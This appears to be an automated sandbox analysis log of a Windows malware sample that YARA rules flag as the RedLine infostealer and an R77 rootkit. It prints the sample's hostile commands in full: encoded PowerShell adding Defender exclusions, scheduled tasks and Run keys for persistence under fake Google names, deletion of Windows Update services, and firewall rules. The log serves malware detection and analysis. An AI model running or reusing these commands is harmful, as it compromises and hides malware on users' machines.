Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.40.196:443 -> 192.168.2.4:49944 version: TLS 1.2

Source: C:\Users\user\Desktop\FKN6uh7y01.exe

Code function: 0_2_0041F500 GetWindowLongA,wvsprintfA,SetWindowPos,FindWindowA,RedrawWindow,GetWindowTextA,EnableWindow,GetSystemMetrics,IsWindow,CheckRadioButton,UnregisterClassA,SetCursor,GetSysColorBrush,DialogBoxParamA,DestroyAcceleratorTable,DispatchMessageA,TranslateMessage,LoadIconA,EmptyClipboard,SetClipboardData,SetFocus,CharUpperA,OpenClipboard,IsDialogMessageA,TranslateAcceleratorA,GetMessageA,LoadAcceleratorsA,RemoveMenu,InvalidateRect,ChildWindowFromPoint,PostMessageA,DestroyCursor,CreateDialogParamA,GetWindowRect,IsMenu,GetSubMenu,SetDlgItemInt,GetWindowPlacement,CharLowerBuffA,EnableMenuItem,CheckMenuRadioItem,GetSysColor,KillTimer,DestroyCursor,DestroyWindow,PostQuitMessage,GetClientRect,MoveWindow,GetSystemMenu,SetTimer,SetWindowPlacement,InsertMenuItemA,GetMenu,CheckMenuItem,SetMenuItemInfoA,SetActiveWindow,DefDlgProcA,RegisterClassA,EndDialog,SetDlgItemTextA,EnumClipboardFormats,GetClipboardData,CloseClipboard,GetClassInfoA,CallWindowProcA,SetWindowLongA,IsDlgButtonChecked,SetWindowTextA,CheckDlgButton,GetActiveWindow,LoadCursorA,MessageBoxA,wsprintfA,GetDlgItemTextA,SendMessageA,GetCursorPos,TrackPopupMenu,ClientToScreen,DestroyMenu,CreatePopupMenu,AppendMenuA,SendDlgItemMessageA,GetDlgItem,

0_2_0041F500

Source: C:\Users\user\Desktop\FKN6uh7y01.exe

0_2_0041F500

Source: FKN6uh7y01.exe, 00000000.00000000.316295958.000000000077A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Malicious sample detected (through community Yara rule)

Source: 9.0.ofg.exe.ec0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 65.2.updater.exe.2b7fcf50000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 12.2.ofg.exe.ec0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 0.2.FKN6uh7y01.exe.427788.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 9.2.ofg.exe.ec0000.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 65.2.updater.exe.2b7fcc50000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 65.2.updater.exe.2b7fcc50000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 0.3.FKN6uh7y01.exe.6f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.0.ofg.exe.ec0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 0.2.FKN6uh7y01.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 65.2.updater.exe.2b7fcf50000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 00000041.00000002.599121882.000002B7FCC50000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 00000041.00000002.601583178.000002B7FCF50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: C:\Users\user\AppData\Local\Google\ofg.exe, type: DROPPED	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen

Uses powercfg.exe to modify the power settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0

Source: C:\Users\user\Desktop\FKN6uh7y01.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6040 -s 41188

Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_00405010	0_2_00405010
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_0041D0D0	0_2_0041D0D0
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_0040EAFD	0_2_0040EAFD
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_0040E31D	0_2_0040E31D
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_0041CB8C	0_2_0041CB8C
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_0041DD0C	0_2_0041DD0C
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_0040DE48	0_2_0040DE48
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_0041EE51	0_2_0041EE51
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_0041D614	0_2_0041D614
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_0040E6F1	0_2_0040E6F1
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_0042C760	0_2_0042C760
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_0040EF1D	0_2_0040EF1D
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_00414725	0_2_00414725
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050608FA	2_2_050608FA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0506F6D0	2_2_0506F6D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A1CDBE0	2_2_0A1CDBE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A1CED10	2_2_0A1CED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A1CE3E8	2_2_0A1CE3E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A1CAA08	2_2_0A1CAA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A1CDBD0	2_2_0A1CDBD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A1CCE80	2_2_0A1CCE80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A1C7D00	2_2_0A1C7D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A1CC297	2_2_0A1CC297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A1C61F0	2_2_0A1C61F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A1C61E0	2_2_0A1C61E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A1C9580	2_2_0A1C9580
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 6_2_00007FF77BEE3170	6_2_00007FF77BEE3170
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 6_2_00007FF77BEE1770	6_2_00007FF77BEE1770
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 6_2_00007FF77BF02510	6_2_00007FF77BF02510
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 6_2_00007FF77BEE29D0	6_2_00007FF77BEE29D0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 6_2_00007FF77BEE6EE0	6_2_00007FF77BEE6EE0

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f

Source: brave.exe.2.dr	Static PE information: Number of sections : 11 > 10
Source: updater.exe.6.dr	Static PE information: Number of sections : 11 > 10

Source: Joe Sandbox View	Dropped File: C:\Program Files\Google\Chrome\updater.exe 9C01D90543458567C4737731EE6754CC209E4BB78FF648EB75C4D23BE261EF2F
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Google\brave.exe 78E0A8309BC850037E12C2D72A5B0843DCD8B412A0A597C2A3DCBD44E9F3C859

Source: FKN6uh7y01.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 9.0.ofg.exe.ec0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 65.2.updater.exe.2b7fcf50000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 12.2.ofg.exe.ec0000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 0.2.FKN6uh7y01.exe.427788.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 9.2.ofg.exe.ec0000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 65.2.updater.exe.2b7fcc50000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 65.2.updater.exe.2b7fcc50000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 13.2.chrome.exe.1624918.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_Unsigned_GoogleUpdate date = 2019-08-05, author = Florian Roth, description = Detects suspicious unsigned GoogleUpdate.exe, score = 5aa84aa5c90ec34b7f7d75eb350349ae3aa5060f3ad6dd0520e851626e9f8354, reference = Internal Research
Source: 0.3.FKN6uh7y01.exe.6f0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.0.ofg.exe.ec0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 0.2.FKN6uh7y01.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 38.0.GoogleUpdate.exe.1150000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_Unsigned_GoogleUpdate date = 2019-08-05, author = Florian Roth, description = Detects suspicious unsigned GoogleUpdate.exe, score = 5aa84aa5c90ec34b7f7d75eb350349ae3aa5060f3ad6dd0520e851626e9f8354, reference = Internal Research
Source: 65.2.updater.exe.2b7fcf50000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 00000041.00000002.599121882.000002B7FCC50000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 00000041.00000002.601583178.000002B7FCF50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: C:\Users\user\AppData\Local\Google\ofg.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_3oxtdbp2.uic.ps1

Source: C:\Users\user\AppData\Local\Google\chrome.exe

File created: C:\Windows\GoogleUpdate.exe

Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: String function: 00007FF77BF12490 appears 59 times
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: String function: 00007FF77BF11250 appears 107 times
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: String function: 00414CEC appears 47 times
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: String function: 004096E0 appears 44 times

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 6_2_00007FF77BEE4C80 NtClose,

6_2_00007FF77BEE4C80

Source: 33C5.tmp.6.dr

Static PE information: Resource name: EXE type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Source: FKN6uh7y01.exe	Binary or memory string: OriginalFilename vs FKN6uh7y01.exe
Source: FKN6uh7y01.exe, 00000000.00000000.316020105.0000000000428000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameEffulging.exe4 vs FKN6uh7y01.exe
Source: FKN6uh7y01.exe, 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameBeefB vs FKN6uh7y01.exe
Source: FKN6uh7y01.exe	Binary or memory string: OriginalFilenameBeefB vs FKN6uh7y01.exe

Source: FKN6uh7y01.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@98/37@5/5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 6_2_00007FF77BEF6EE0 GetLastError,FormatMessageA,IsDebuggerPresent,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,LocalFree,

6_2_00007FF77BEF6EE0

Source: C:\Users\user\AppData\Local\Google\brave.exe

File created: C:\Program Files\Google\Chrome\updater.exe

Source: FKN6uh7y01.exe	ReversingLabs: Detection: 33%
Source: FKN6uh7y01.exe	Virustotal: Detection: 36%

Source: C:\Users\user\Desktop\FKN6uh7y01.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\FKN6uh7y01.exe C:\Users\user\Desktop\FKN6uh7y01.exe
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6040 -s 41188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\brave.exe "C:\Users\user\AppData\Local\Google\brave.exe"
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\ofg.exe "C:\Users\user\AppData\Local\Google\ofg.exe"
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Google\ofg.exe C:\Users\user\AppData\Local\Google\ofg.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\chrome.exe "C:\Users\user\AppData\Local\Google\chrome.exe"
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Google\chrome.exe C:\Users\user\AppData\Local\Google\chrome.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
Source: unknown	Process created: C:\Users\user\AppData\Local\Google\chrome.exe C:\Users\user\AppData\Local\Google\chrome.exe
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
